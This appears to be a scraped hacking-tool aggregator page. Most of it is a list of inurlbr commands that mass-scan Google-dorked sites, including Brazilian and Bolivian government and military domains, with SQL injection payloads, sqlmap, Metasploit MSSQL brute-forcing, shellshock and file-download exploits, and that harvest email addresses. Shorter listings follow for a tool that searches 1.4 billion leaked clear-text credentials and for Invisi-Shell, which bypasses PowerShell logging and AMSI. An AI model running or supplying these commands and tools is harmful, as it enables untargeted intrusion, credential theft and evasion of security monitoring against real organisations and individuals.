docker exec inurlbr ./inurlbr.php --dork 'inurl:php?id=' -s save.txt -q 1,6 -t 1 --exploit-get "?´'%270x27;"  

docker exec inurlbr ./inurlbr.php --dork 'inurl:aspx?id=' -s save.txt -q 1,6 -t 1 --exploit-get "?´'%270x27;"

docker exec inurlbr ./inurlbr.php --dork 'site:br inurl:aspx (id|new)' -s save.txt -q 1,6 -t 1 --exploit-get "?´'%270x27;"

docker exec inurlbr ./inurlbr.php --dork 'index of wp-content/uploads' -s save.txt -q 1,6,2,4 -t 2 --exploit-get '?' -a 'Index of /wp-content/uploads'

docker exec inurlbr ./inurlbr.php --dork 'site:.mil.br intext:(confidencial) ext:pdf' -s save.txt -q 1,6 -t 2 --exploit-get '?' -a 'confidencial'

docker exec inurlbr ./inurlbr.php --dork 'site:.mil.br intext:(secreto) ext:pdf' -s save.txt -q 1,6 -t 2 --exploit-get '?' -a 'secreto'

docker exec inurlbr ./inurlbr.php --dork 'site:br inurl:aspx (id|new)' -s save.txt -q 1,6 -t 1 --exploit-get "?´'%270x27;"

docker exec inurlbr ./inurlbr.php --dork '.new.php?new id' -s save.txt -q 1,6,7,2,3 -t 1 --exploit-get '+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;' -a '::EXPLOIT-SUCESS::'

docker exec inurlbr ./inurlbr.php --dork 'new.php?id=' -s teste.txt --exploit-get ?´0x27 --command-vul 'nmap sV -p 22,80,21 _TARGET_'

docker exec inurlbr ./inurlbr.php --dork 'site:pt inurl:aspx (id|q)' -s bruteforce.txt --exploit-get ?´0x27 --command-vul 'msfcli auxiliary/scanner/mssql/mssql_login RHOST=_TARGETIP_ MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E'

docker exec inurlbr ./inurlbr.php --dork 'site:br inurl:id & inurl:php' -s get.txt --exploit-get "?´'%270x27;" --command-vul 'python ../sqlmap/sqlmap.py -u "_TARGETFULL_" --dbs'

docker exec inurlbr ./inurlbr.php --dork 'inurl:index.php?id=' -q 1,2,10 --exploit-get "'?´0x27'" -s report.txt --command-vul 'nmap -Pn -p 1-8080 --script http-enum --open _TARGET_'

docker exec inurlbr ./inurlbr.php --dork 'site:.gov.br email' -s reg.txt -q 1 --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'

docker exec inurlbr ./inurlbr.php --dork 'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' -s emails.txt -m

docker exec inurlbr ./inurlbr.php --dork 'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' -s urls.txt -u

docker exec inurlbr ./inurlbr.php --dork 'site:gov.bo' -s govs.txt --exploit-all-id 1,2,6

docker exec inurlbr ./inurlbr.php --dork 'site:.uk' -s uk.txt --user-agent 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)'

docker exec inurlbr ./inurlbr.php --dork-file 'dorksSqli.txt' -s govs.txt --exploit-all-id 1,2,6

docker exec inurlbr ./inurlbr.php --dork-file 'dorksSqli.txt' -s sqli.txt --exploit-all-id 1,2,6 --irc 'irc.rizon.net#inurlbrasil'

docker exec inurlbr ./inurlbr.php --dork 'inurl:"cgi-bin/login.cgi"' -s cgi.txt --ifurl 'cgi' --command-all 'php xplCGI.php _TARGET_'

docker exec inurlbr ./inurlbr.php --target 'http://target.com.br' -o cancat_file_urls_find.txt -s output.txt -t 4

docker exec inurlbr ./inurlbr.php --target 'http://target.com.br' -o cancat_file_urls_find.txt -s output.txt -t 4 --exploit-get "?´'%270x27;"

docker exec inurlbr ./inurlbr.php --target 'http://target.com.br' -o cancat_file_urls_find.txt -s output.txt -t 4 --exploit-get "?pass=1234" -a '<title>hello! admin</title>'

docker exec inurlbr ./inurlbr.php --target 'http://target.com.br' -o cancat_file_urls_find_valid_cod-200.txt -s output.txt -t 5

docker exec inurlbr ./inurlbr.php --range '200.20.10.1,200.20.10.255' -s output.txt --command-all 'php roteador.php _TARGETIP_'

docker exec inurlbr ./inurlbr.php --range-rad '1500' -s output.txt --command-all 'php roteador.php _TARGETIP_'

docker exec inurlbr ./inurlbr.php --dork-rad '20' -s output.txt --exploit-get "?´'%270x27;" -q 1,2,6,4,5,9,7,8

docker exec inurlbr ./inurlbr.php --dork-rad '20' -s output.txt --exploit-get "?´'%270x27;" -q 1,2,6,4,5,9,7,8 --pr

docker exec inurlbr ./inurlbr.php --dork-file 'dorksCGI.txt' -s output.txt -q 1,2,6,4,5,9,7,8 --pr --shellshock

docker exec inurlbr ./inurlbr.php --dork-file 'dorks_Wordpress_revslider.txt' -s output.txt -q 1,2,6,4,5,9,7,8 --sub-file 'xpls_Arbitrary_File_Download.txt'

Developers
----------------------------------------------
Original Version
----------------------------------------------
[+] AUTOR: googleINURL
[+] EMAIL: inurlbr@gmail.com
[+] Blog: http://blog.inurl.com.br
----------------------------------------------
Docker Version
----------------------------------------------
[+] AUTOR: Gabriel Dutra (c0olr00t)
[+] EMAIL: gabrieldmdutra@gmail.com
[+] LINKEDIN: linkedin.com/in/gmdutra/
----------------------------------------------


SMWYG-Show-Me-What-You-Got - Tool To Search 1.4 Billion Clear Text Credentials Which Was Dumped As Part Of BreachCompilation Leak

$
0
0

This tool allows you to perform OSINT and reconnaissance on an organisation or an individual. It allows one to search 1.4 Billion clear text credentials which was dumped as part of BreachCompilation leak. This database makes finding passwords faster and easier than ever before.

Screenshot


Above image search the credentials for uber.com and have found 203 accounts.

Pre-requisites
Make sure you have installed the following:
- Python 3.0 or later.
- pip3 (sudo apt-get install python3-pip)

How to install?
git clone https://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git
cd SMWYG-Show-Me-What-You-Got
pip3 install -r requirements.txt

How do I use this?
  • Press 1: This will allow one to search credentials based on domain name.
  • Press 2: This will allow one to search credentials for a specific email address.
  • Press 3: To exit from the program.

Tips to stay secure
  • Change your passwords every few months
  • Use differnt passwords for different accounts
  • Use password manager to generate random passwords
  • Start using multi factor authentication

Questions?
Twitter: https://twitter.com/maniarviral LinkedIn: https://au.linkedin.com/in/viralmaniar


Invisi-Shell - Hide Your Powershell Script In Plain Sight (Bypass All Powershell Security Features)

$
0
0

Hide your powershell script in plain sight! Invisi-Shell bypasses all of Powershell security features (ScriptBlock logging, Module logging, Transcription, AMSI) by hooking .Net assemblies. The hook is performed via CLR Profiler API.

Work In Progress
This is still a preliminary version intended as a POC. The code works only on x64 processes and tested against Powershell V5.1.

Usage
  • Copy the compiled InvisiShellProfiler.dll from /x64/Release/ folder with the two batch files from the root directory (RunWithPathAsAdmin.bat & RunWithRegistryNonAdmin.bat) to the same folder.
  • Run either of the batch files (depends if you have local admin privelledges or not)
  • Powershell console will run. Exit the powershell using the exit command (DON'T CLOSE THE WINDOW) to allow the batch file to perform proper cleanup.

Compilation
Project was created with Visual Studio 2013. You should install Windows Platform SDK to compile it properly.

Detailed Description
More info can be found on the DerbyCon presentation by Omer Yair (October, 2018).

Credits
  • CorProfiler by .NET Foundation
  • Eyal Ne'emany
  • Guy Franco
  • Ephraim Neuberger
  • Yossi Sassi
  • Omer Yair


Viewing all 5854 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>